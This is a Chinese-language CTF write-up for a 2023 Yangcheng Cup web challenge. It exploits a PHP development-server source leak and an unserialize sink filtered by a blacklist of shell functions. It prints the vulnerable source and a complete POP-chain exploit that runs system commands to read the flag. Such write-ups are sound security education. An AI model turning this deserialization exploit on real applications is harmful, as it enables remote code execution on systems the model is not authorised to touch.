[羊城杯 2023] web

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D0n’t pl4y g4m3!!!

打开题目，可以判断这里为php Development Server 启动的服务

查询得知，存在 PHP<=7.4.21 Development Server源码泄露漏洞(参考文章)
抓包，构造payload
得到源码

class Pro{private $exp;private $rce2;public function __get($name){return $this->$rce2=$this->exp[$rce2];}public  function __toString(){call_user_func('system', "cat /flag");}
}class Yang
{public function __call($name, $ary){if ($this->key === true || $this->finish1->name) {if ($this->finish->finish) {call_user_func($this->now[$name], $ary[0]);}}}public function ycb(){$this->now = 0;return $this->finish->finish;}public function __wakeup(){$this->key = True;}
}
class Cheng
{private $finish;public $name;public function __get($value){return $this->$value = $this->name[$value];}
}
class Bei
{public function __destruct(){if ($this->CTF->ycb()) {$this->fine->YCB1($this->rce, $this->rce1);}}public function __wakeup(){$this->key = false;}
}function prohib($a){$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";return preg_replace($filter,'',$a);
}$a = $_POST["CTF"];
if (isset($a)){unserialize(prohib($a));
}
?>

还有提示./hint.zip，下载完解压，猜测是某种编码
复制到谷歌，发现GitHub上面有解码工具
然后再回过头看
pop链子：Bei.__destruct()->Yang.__call()
exp

<?php
class Pro  //five
{private $exp;private $rce2;
}class Yang  //one
{public function __call($name, $ary){if ($this->key === true || $this->finish1->name) {if ($this->finish->finish) {call_user_func($this->now[$name], $ary[0]);}}}public function ycb(){$this->now = 0;return $this->finish->finish;}
}
class Cheng  //two
{private $finish;public $name;}
class Bei  //four
{public function __destruct(){if ($this->CTF->ycb()) {$this->fine->YCB1($this->rce, $this->rce1);}}public function __wakeup(){$this->key = false;}
}$a=new Bei();
$a->rce="cat /tmp/catcatf1ag.txt";
$a->rce1="";
$b=new Yang();
$b->finish->finish=true;
$a->CTF=$b;
$c=new Yang();
$c->key=true;
$c->finish->finish=true;
$c->now['YCB1']='system';
$a->fine=$c;
echo urlencode(serialize($a));
?>

得到flag